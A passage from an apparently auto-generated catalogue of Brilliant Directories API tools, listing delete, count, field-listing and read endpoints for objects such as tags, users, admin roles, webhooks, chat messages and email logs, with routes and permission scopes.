DELETE /api/v1/brilliantdirectories/api/v2/service_areas/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_sidebars_delete (write, destructive) — Delete a sidebar from the database via DELETE /api/v2/sidebars/delete DELETE /api/v1/brilliantdirectories/api/v2/sidebars/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_smart_lists_delete (write, destructive) — Delete a smart list from the database via DELETE /api/v2/smart_lists/delete DELETE /api/v1/brilliantdirectories/api/v2/smart_lists/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_subscription_types_delete (write, destructive) — Delete a membership plan from the database via DELETE /api/v2/subscription_types/delete DELETE /api/v1/brilliantdirectories/api/v2/subscription_types/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_tag_groups_delete (write, destructive) — Delete a tag group from the database via DELETE /api/v2/tag_groups/delete DELETE /api/v1/brilliantdirectories/api/v2/tag_groups/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_tag_types_delete (write, destructive) — Delete a tag type from the database via DELETE /api/v2/tag_types/delete DELETE /api/v1/brilliantdirectories/api/v2/tag_types/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_tags_delete (write, destructive) — Delete a tag from the database via DELETE /api/v2/tags/delete DELETE /api/v1/brilliantdirectories/api/v2/tags/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_universal_search_cache_delete (write, destructive) — Delete a search cache entry from the database via DELETE /api/v2/universal_search_cache/delete DELETE /api/v1/brilliantdirectories/api/v2/universal_search_cache/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_unsubscribe_list_delete (write, destructive) — Delete an unsubscribe list entry and their related data from the database via DELETE /api/v2/unsubscribe_list/delete DELETE /api/v1/brilliantdirectories/api/v2/unsubscribe_list/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_user_delete (write, destructive) — Delete a user and their related data from the database via DELETE /api/v2/user/delete DELETE /api/v1/brilliantdirectories/api/v2/user/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_user_invite_log_delete (write, destructive) — Delete a user invite log entry from the database via DELETE /api/v2/user_invite_log/delete DELETE /api/v1/brilliantdirectories/api/v2/user_invite_log/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_user_submitted_forms_delete (write, destructive) — Delete a user submitted form from the database via DELETE /api/v2/user_submitted_forms/delete DELETE /api/v1/brilliantdirectories/api/v2/user_submitted_forms/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_user_types_delete (write, destructive) — Delete a user type from the database via DELETE /api/v2/user_types/delete DELETE /api/v1/brilliantdirectories/api/v2/user_types/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_clicks_delete (write, destructive) — Delete a user clicked link and their related data from the database via DELETE /api/v2/users_clicks/delete DELETE /api/v1/brilliantdirectories/api/v2/users_clicks/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_users_favorite_delete (write, destructive) — Delete a user favorite from the database via DELETE /api/v2/users_favorite/delete DELETE /api/v1/brilliantdirectories/api/v2/users_favorite/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_locations_delete (write, destructive) — Delete a user location from the database via DELETE /api/v2/users_locations/delete DELETE /api/v1/brilliantdirectories/api/v2/users_locations/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_log_delete (write, destructive) — Delete a user activity log entry from the database via DELETE /api/v2/users_log/delete DELETE /api/v1/brilliantdirectories/api/v2/users_log/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_meta_delete (write, destructive) — Delete a user metadata entry from the database via DELETE /api/v2/users_meta/delete DELETE /api/v1/brilliantdirectories/api/v2/users_meta/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_photo_delete (write, destructive) — Delete a user photo from the database via DELETE /api/v2/users_photo/delete DELETE /api/v1/brilliantdirectories/api/v2/users_photo/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_portfolio_delete (write, destructive) — Delete a album photo and their related data from the database via DELETE /api/v2/users_portfolio/delete DELETE /api/v1/brilliantdirectories/api/v2/users_portfolio/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_users_portfolio_groups_delete (write, destructive) — Delete a Multi Image Post and their related data from the database via DELETE /api/v2/users_portfolio_groups/delete DELETE /api/v1/brilliantdirectories/api/v2/users_portfolio_groups/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_users_portfolio_tags_delete (write, destructive) — Delete a portfolio tag from the database via DELETE /api/v2/users_portfolio_tags/delete DELETE /api/v1/brilliantdirectories/api/v2/users_portfolio_tags/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_users_reviews_delete (write, destructive) — Delete a User Review and their related data from the database via DELETE /api/v2/users_reviews/delete DELETE /api/v1/brilliantdirectories/api/v2/users_reviews/delete. Scopes: standard_endpoints. brilliantdirectories_delete_api_v2_users_setting_delete (write, destructive) — Delete a user setting from the database via DELETE /api/v2/users_setting/delete DELETE /api/v1/brilliantdirectories/api/v2/users_setting/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_contacts_delete (write, destructive) — Delete a website contact submission from the database via DELETE /api/v2/website_contacts/delete DELETE /api/v1/brilliantdirectories/api/v2/website_contacts/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_design_settings_delete (write, destructive) — Delete a design setting from the database via DELETE /api/v2/website_design_settings/delete DELETE /api/v1/brilliantdirectories/api/v2/website_design_settings/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_labels_delete (write, destructive) — Delete a website label from the database via DELETE /api/v2/website_labels/delete DELETE /api/v1/brilliantdirectories/api/v2/website_labels/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_labels_translation_delete (write, destructive) — Delete a label translation from the database via DELETE /api/v2/website_labels_translation/delete DELETE /api/v1/brilliantdirectories/api/v2/website_labels_translation/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_notifications_delete (write, destructive) — Delete a website notification from the database via DELETE /api/v2/website_notifications/delete DELETE /api/v1/brilliantdirectories/api/v2/website_notifications/delete. Scopes: advanced_endpoints. brilliantdirectories_delete_api_v2_website_settings_delete (write, destructive) — Delete a website setting from the database via DELETE /api/v2/website_settings/delete DELETE /api/v1/brilliantdirectories/api/v2/website_settings/delete. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_permissions_count (read) — Count Admin Role Permissions via GET /api/v2/admin_role_permissions/count GET /api/v1/brilliantdirectories/api/v2/admin_role_permissions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_permissions_fields (read) — List the fields of the Admin Role Permissions model via GET /api/v2/admin_role_permissions/fields GET /api/v1/brilliantdirectories/api/v2/admin_role_permissions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_permissions_get (read) — List Admin Role Permissions via GET /api/v2/admin_role_permissions/get GET /api/v1/brilliantdirectories/api/v2/admin_role_permissions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_permissions_get_by_role_permission_id (read) — Read a single admin role permission by its ID via GET /api/v2/admin_role_permissions/get/{role_permission_id} GET /api/v1/brilliantdirectories/api/v2/admin_role_permissions/get/{role_permission_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_plugins_permissions_count (read) — Count Admin Role Plugin Permissions via GET /api/v2/admin_role_plugins_permissions/count GET /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_plugins_permissions_fields (read) — List the fields of the Admin Role Plugin Permissions model via GET /api/v2/admin_role_plugins_permissions/fields GET /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_plugins_permissions_get (read) — List Admin Role Plugin Permissions via GET /api/v2/admin_role_plugins_permissions/get GET /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_role_plugins_permissions_get_by_role_plugins_permissions_id (read) — Read a single admin role plugin permission by its ID via GET /api/v2/admin_role_plugins_permissions/get/{role_plugins_permissions_id} GET /api/v1/brilliantdirectories/api/v2/admin_role_plugins_permissions/get/{role_plugins_permissions_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_roles_count (read) — Count Admin Roles via GET /api/v2/admin_roles/count GET /api/v1/brilliantdirectories/api/v2/admin_roles/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_roles_fields (read) — List the fields of the Admin Roles model via GET /api/v2/admin_roles/fields GET /api/v1/brilliantdirectories/api/v2/admin_roles/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_roles_get (read) — List Admin Roles via GET /api/v2/admin_roles/get GET /api/v1/brilliantdirectories/api/v2/admin_roles/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_admin_roles_get_by_role_id (read) — Read a single admin role by its ID via GET /api/v2/admin_roles/get/{role_id} GET /api/v1/brilliantdirectories/api/v2/admin_roles/get/{role_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_api_keys_count (read) — Count API Keys via GET /api/v2/bd_api_keys/count GET /api/v1/brilliantdirectories/api/v2/bd_api_keys/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_api_keys_fields (read) — List the fields of the API Keys model via GET /api/v2/bd_api_keys/fields GET /api/v1/brilliantdirectories/api/v2/bd_api_keys/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_count (read) — Count backup history records matching the given filters via GET /api/v2/bd_history/count GET /api/v1/brilliantdirectories/api/v2/bd_history/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_fields (read) — List the fields of the Backup History model via GET /api/v2/bd_history/fields GET /api/v1/brilliantdirectories/api/v2/bd_history/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_get (read) — Read backup history records with filtering, sorting, and pagination via GET /api/v2/bd_history/get GET /api/v1/brilliantdirectories/api/v2/bd_history/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_get_by_id (read) — Read the data of a single backup history record by id via GET /api/v2/bd_history/get/{id} GET /api/v1/brilliantdirectories/api/v2/bd_history/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_load (read) — List the history types supported by the load endpoint via GET /api/v2/bd_history/load GET /api/v1/brilliantdirectories/api/v2/bd_history/load. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_history_load_by_id (read) — Load a single revision with its content decoded, as the platform admin does via GET /api/v2/bd_history/load/{id} GET /api/v1/brilliantdirectories/api/v2/bd_history/load/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_webhooks_count (read) — Count Webhooks via GET /api/v2/bd_webhooks/count GET /api/v1/brilliantdirectories/api/v2/bd_webhooks/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_webhooks_fields (read) — List the fields of the Webhooks model via GET /api/v2/bd_webhooks/fields GET /api/v1/brilliantdirectories/api/v2/bd_webhooks/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_webhooks_get (read) — List Webhooks via GET /api/v2/bd_webhooks/get GET /api/v1/brilliantdirectories/api/v2/bd_webhooks/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_bd_webhooks_get_by_webhook_id (read) — Read a single webhook by its ID via GET /api/v2/bd_webhooks/get/{webhook_id} GET /api/v1/brilliantdirectories/api/v2/bd_webhooks/get/{webhook_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_api_task_count (read) — Count Business Data Tasks via GET /api/v2/business_data_api_task/count GET /api/v1/brilliantdirectories/api/v2/business_data_api_task/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_api_task_fields (read) — List the fields of the Business Data Tasks model via GET /api/v2/business_data_api_task/fields GET /api/v1/brilliantdirectories/api/v2/business_data_api_task/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_api_task_get (read) — List Business Data Tasks via GET /api/v2/business_data_api_task/get GET /api/v1/brilliantdirectories/api/v2/business_data_api_task/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_api_task_get_by_id (read) — Read a single business data task by its ID via GET /api/v2/business_data_api_task/get/{id} GET /api/v1/brilliantdirectories/api/v2/business_data_api_task/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_logs_count (read) — Count Business Data Logs via GET /api/v2/business_data_logs/count GET /api/v1/brilliantdirectories/api/v2/business_data_logs/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_logs_fields (read) — List the fields of the Business Data Logs model via GET /api/v2/business_data_logs/fields GET /api/v1/brilliantdirectories/api/v2/business_data_logs/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_logs_get (read) — List Business Data Logs via GET /api/v2/business_data_logs/get GET /api/v1/brilliantdirectories/api/v2/business_data_logs/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_business_data_logs_get_by_id (read) — Read a single business data log by its ID via GET /api/v2/business_data_logs/get/{id} GET /api/v1/brilliantdirectories/api/v2/business_data_logs/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_category_group_count (read) — Count Category Groups via GET /api/v2/category_group/count GET /api/v1/brilliantdirectories/api/v2/category_group/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_category_group_fields (read) — List the fields of the Category Groups model via GET /api/v2/category_group/fields GET /api/v1/brilliantdirectories/api/v2/category_group/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_category_group_get (read) — List Category Groups via GET /api/v2/category_group/get GET /api/v1/brilliantdirectories/api/v2/category_group/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_category_group_get_by_group_id (read) — Read a single category group by its ID via GET /api/v2/category_group/get/{group_id} GET /api/v1/brilliantdirectories/api/v2/category_group/get/{group_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_items_count (read) — Count Chat Messages via GET /api/v2/chat_message_items/count GET /api/v1/brilliantdirectories/api/v2/chat_message_items/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_items_fields (read) — List the fields of the Chat Messages model via GET /api/v2/chat_message_items/fields GET /api/v1/brilliantdirectories/api/v2/chat_message_items/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_items_get (read) — List Chat Messages via GET /api/v2/chat_message_items/get GET /api/v1/brilliantdirectories/api/v2/chat_message_items/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_items_get_by_message_id (read) — Read a single chat message by its ID via GET /api/v2/chat_message_items/get/{message_id} GET /api/v1/brilliantdirectories/api/v2/chat_message_items/get/{message_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_threads_count (read) — Count Chat Threads via GET /api/v2/chat_message_threads/count GET /api/v1/brilliantdirectories/api/v2/chat_message_threads/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_threads_fields (read) — List the fields of the Chat Threads model via GET /api/v2/chat_message_threads/fields GET /api/v1/brilliantdirectories/api/v2/chat_message_threads/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_threads_get (read) — List Chat Threads via GET /api/v2/chat_message_threads/get GET /api/v1/brilliantdirectories/api/v2/chat_message_threads/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_chat_message_threads_get_by_thread_id (read) — Read a single chat thread by its ID via GET /api/v2/chat_message_threads/get/{thread_id} GET /api/v1/brilliantdirectories/api/v2/chat_message_threads/get/{thread_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_comments_count (read) — Count Comments via GET /api/v2/comments/count GET /api/v1/brilliantdirectories/api/v2/comments/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_comments_fields (read) — List the fields of the Comments model via GET /api/v2/comments/fields GET /api/v1/brilliantdirectories/api/v2/comments/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_comments_get (read) — List Comments via GET /api/v2/comments/get GET /api/v1/brilliantdirectories/api/v2/comments/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_comments_get_by_comment_id (read) — Read a single comment by its ID via GET /api/v2/comments/get/{comment_id} GET /api/v1/brilliantdirectories/api/v2/comments/get/{comment_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_bridge_count (read) — Count Contact Links via GET /api/v2/contacts_bridge/count GET /api/v1/brilliantdirectories/api/v2/contacts_bridge/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_bridge_fields (read) — List the fields of the Contact Links model via GET /api/v2/contacts_bridge/fields GET /api/v1/brilliantdirectories/api/v2/contacts_bridge/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_bridge_get (read) — List Contact Links via GET /api/v2/contacts_bridge/get GET /api/v1/brilliantdirectories/api/v2/contacts_bridge/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_bridge_get_by_link_id (read) — Read a single contact link by its ID via GET /api/v2/contacts_bridge/get/{link_id} GET /api/v1/brilliantdirectories/api/v2/contacts_bridge/get/{link_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_count (read) — Count Contacts via GET /api/v2/contacts/count GET /api/v1/brilliantdirectories/api/v2/contacts/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_fields (read) — List the fields of the Contacts model via GET /api/v2/contacts/fields GET /api/v1/brilliantdirectories/api/v2/contacts/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_get (read) — List Contacts via GET /api/v2/contacts/get GET /api/v1/brilliantdirectories/api/v2/contacts/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_contacts_get_by_contact_id (read) — Read a single contact by its ID via GET /api/v2/contacts/get/{contact_id} GET /api/v1/brilliantdirectories/api/v2/contacts/get/{contact_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_categories_count (read) — Count Post Types via GET /api/v2/data_categories/count GET /api/v1/brilliantdirectories/api/v2/data_categories/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_categories_fields (read) — List the fields of the Post Types model via GET /api/v2/data_categories/fields GET /api/v1/brilliantdirectories/api/v2/data_categories/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_categories_get (read) — List Post Types via GET /api/v2/data_categories/get GET /api/v1/brilliantdirectories/api/v2/data_categories/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_categories_get_by_data_id (read) — Read the data of a single post type based on the data_id via GET /api/v2/data_categories/get/{data_id} GET /api/v1/brilliantdirectories/api/v2/data_categories/get/{data_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_flow_actions_count (read) — Count Data Flow Actions via GET /api/v2/data_flow_actions/count GET /api/v1/brilliantdirectories/api/v2/data_flow_actions/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flow_actions_fields (read) — List the fields of the Data Flow Actions model via GET /api/v2/data_flow_actions/fields GET /api/v1/brilliantdirectories/api/v2/data_flow_actions/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flow_actions_get (read) — List Data Flow Actions via GET /api/v2/data_flow_actions/get GET /api/v1/brilliantdirectories/api/v2/data_flow_actions/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flow_actions_get_by_action_id (read) — Read a single data flow action by its ID via GET /api/v2/data_flow_actions/get/{action_id} GET /api/v1/brilliantdirectories/api/v2/data_flow_actions/get/{action_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flows_count (read) — Count Data Flows via GET /api/v2/data_flows/count GET /api/v1/brilliantdirectories/api/v2/data_flows/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flows_fields (read) — List the fields of the Data Flows model via GET /api/v2/data_flows/fields GET /api/v1/brilliantdirectories/api/v2/data_flows/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flows_get (read) — List Data Flows via GET /api/v2/data_flows/get GET /api/v1/brilliantdirectories/api/v2/data_flows/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_flows_get_by_flow_id (read) — Read a single data flow by its ID via GET /api/v2/data_flows/get/{flow_id} GET /api/v1/brilliantdirectories/api/v2/data_flows/get/{flow_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_posts_count (read) — Count Single Image Posts via GET /api/v2/data_posts/count GET /api/v1/brilliantdirectories/api/v2/data_posts/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_posts_fields (read) — List the fields of the Single Image Posts model via GET /api/v2/data_posts/fields GET /api/v1/brilliantdirectories/api/v2/data_posts/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_posts_get (read) — List Single Image Posts via GET /api/v2/data_posts/get GET /api/v1/brilliantdirectories/api/v2/data_posts/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_posts_get_by_post_id (read) — Read the data of a Single Image Post based on the post_id via GET /api/v2/data_posts/get/{post_id} GET /api/v1/brilliantdirectories/api/v2/data_posts/get/{post_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_types_count (read) — Count Data Types via GET /api/v2/data_types/count GET /api/v1/brilliantdirectories/api/v2/data_types/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_types_fields (read) — List the fields of the Data Types model via GET /api/v2/data_types/fields GET /api/v1/brilliantdirectories/api/v2/data_types/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_types_get (read) — List Data Types via GET /api/v2/data_types/get GET /api/v1/brilliantdirectories/api/v2/data_types/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_types_get_by_data_id (read) — Read a single data type by its ID via GET /api/v2/data_types/get/{data_id} GET /api/v1/brilliantdirectories/api/v2/data_types/get/{data_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_widgets_count (read) — Count Widgets via GET /api/v2/data_widgets/count GET /api/v1/brilliantdirectories/api/v2/data_widgets/count. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_widgets_fields (read) — List the fields of the Widgets model via GET /api/v2/data_widgets/fields GET /api/v1/brilliantdirectories/api/v2/data_widgets/fields. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_widgets_get (read) — List Widgets via GET /api/v2/data_widgets/get GET /api/v1/brilliantdirectories/api/v2/data_widgets/get. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_widgets_get_by_widget_id (read) — Read the data of a single widget based on the widget_id via GET /api/v2/data_widgets/get/{widget_id} GET /api/v1/brilliantdirectories/api/v2/data_widgets/get/{widget_id}. Scopes: standard_endpoints. brilliantdirectories_get_api_v2_data_widgets_rel_count (read) — Count Widget Placements via GET /api/v2/data_widgets_rel/count GET /api/v1/brilliantdirectories/api/v2/data_widgets_rel/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_widgets_rel_fields (read) — List the fields of the Widget Placements model via GET /api/v2/data_widgets_rel/fields GET /api/v1/brilliantdirectories/api/v2/data_widgets_rel/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_widgets_rel_get (read) — List Widget Placements via GET /api/v2/data_widgets_rel/get GET /api/v1/brilliantdirectories/api/v2/data_widgets_rel/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_data_widgets_rel_get_by_rel_id (read) — Read a single widget placement by its ID via GET /api/v2/data_widgets_rel/get/{rel_id} GET /api/v1/brilliantdirectories/api/v2/data_widgets_rel/get/{rel_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_log_count (read) — Count Email Auto Logs via GET /api/v2/email_auto_log/count GET /api/v1/brilliantdirectories/api/v2/email_auto_log/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_log_fields (read) — List the fields of the Email Auto Logs model via GET /api/v2/email_auto_log/fields GET /api/v1/brilliantdirectories/api/v2/email_auto_log/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_log_get (read) — List Email Auto Logs via GET /api/v2/email_auto_log/get GET /api/v1/brilliantdirectories/api/v2/email_auto_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_log_get_by_log_id (read) — Read a single email auto log entry by its ID via GET /api/v2/email_auto_log/get/{log_id} GET /api/v1/brilliantdirectories/api/v2/email_auto_log/get/{log_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_sent_count (read) — Count Email Auto Sent via GET /api/v2/email_auto_sent/count GET /api/v1/brilliantdirectories/api/v2/email_auto_sent/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_sent_fields (read) — List the fields of the Email Auto Sent model via GET /api/v2/email_auto_sent/fields GET /api/v1/brilliantdirectories/api/v2/email_auto_sent/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_sent_get (read) — List Email Auto Sent via GET /api/v2/email_auto_sent/get GET /api/v1/brilliantdirectories/api/v2/email_auto_sent/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_auto_sent_get_by_sent_id (read) — Read a single email auto sent record by its ID via GET /api/v2/email_auto_sent/get/{sent_id} GET /api/v1/brilliantdirectories/api/v2/email_auto_sent/get/{sent_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_automation_settings_count (read) — Count Email Automation Settings via GET /api/v2/email_automation_settings/count GET /api/v1/brilliantdirectories/api/v2/email_automation_settings/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_automation_settings_fields (read) — List the fields of the Email Automation Settings model via GET /api/v2/email_automation_settings/fields GET /api/v1/brilliantdirectories/api/v2/email_automation_settings/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_automation_settings_get (read) — List Email Automation Settings via GET /api/v2/email_automation_settings/get GET /api/v1/brilliantdirectories/api/v2/email_automation_settings/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_automation_settings_get_by_rule_id (read) — Read a single email automation rule by its ID via GET /api/v2/email_automation_settings/get/{rule_id} GET /api/v1/brilliantdirectories/api/v2/email_automation_settings/get/{rule_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_list_count (read) — Count Email Lists via GET /api/v2/email_list/count GET /api/v1/brilliantdirectories/api/v2/email_list/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_list_fields (read) — List the fields of the Email Lists model via GET /api/v2/email_list/fields GET /api/v1/brilliantdirectories/api/v2/email_list/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_list_get (read) — List Email Lists via GET /api/v2/email_list/get GET /api/v1/brilliantdirectories/api/v2/email_list/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_list_get_by_id (read) — Read a single email list entry by its ID via GET /api/v2/email_list/get/{id} GET /api/v1/brilliantdirectories/api/v2/email_list/get/{id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_log_count (read) — Count Email Logs via GET /api/v2/email_log/count GET /api/v1/brilliantdirectories/api/v2/email_log/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_log_fields (read) — List the fields of the Email Logs model via GET /api/v2/email_log/fields GET /api/v1/brilliantdirectories/api/v2/email_log/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_log_get (read) — List Email Logs via GET /api/v2/email_log/get GET /api/v1/brilliantdirectories/api/v2/email_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_log_get_by_email_id (read) — Read a single email log entry by its ID via GET /api/v2/email_log/get/{email_id} GET /api/v1/brilliantdirectories/api/v2/email_log/get/{email_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_count (read) — Count Email Outbox via GET /api/v2/email_outbox/count GET /api/v1/brilliantdirectories/api/v2/email_outbox/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_fields (read) — List the fields of the Email Outbox model via GET /api/v2/email_outbox/fields GET /api/v1/brilliantdirectories/api/v2/email_outbox/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_get (read) — Read sent emails. Blob columns (html, text) are base64-encoded via GET /api/v2/email_outbox/get GET /api/v1/brilliantdirectories/api/v2/email_outbox/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_get_by_outbox_id (read) — Read a single email outbox entry by its ID via GET /api/v2/email_outbox/get/{outbox_id} GET /api/v1/brilliantdirectories/api/v2/email_outbox/get/{outbox_id}. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_log_count (read) — Count Email Outbox Logs via GET /api/v2/email_outbox_log/count GET /api/v1/brilliantdirectories/api/v2/email_outbox_log/count. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_log_fields (read) — List the fields of the Email Outbox Logs model via GET /api/v2/email_outbox_log/fields GET /api/v1/brilliantdirectories/api/v2/email_outbox_log/fields. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_log_get (read) — List Email Outbox Logs via GET /api/v2/email_outbox_log/get GET /api/v1/brilliantdirectories/api/v2/email_outbox_log/get. Scopes: advanced_endpoints. brilliantdirectories_get_api_v2_email_outbox_log_get_by_log_id (read) — Read a single email outbox log entry by its ID via GET /api/v2/email_outbox_log/get/{log_id} GET /api/v1/brilliantdirectories/api/v2/email_outbox_log/get/{log_id}. Scopes: 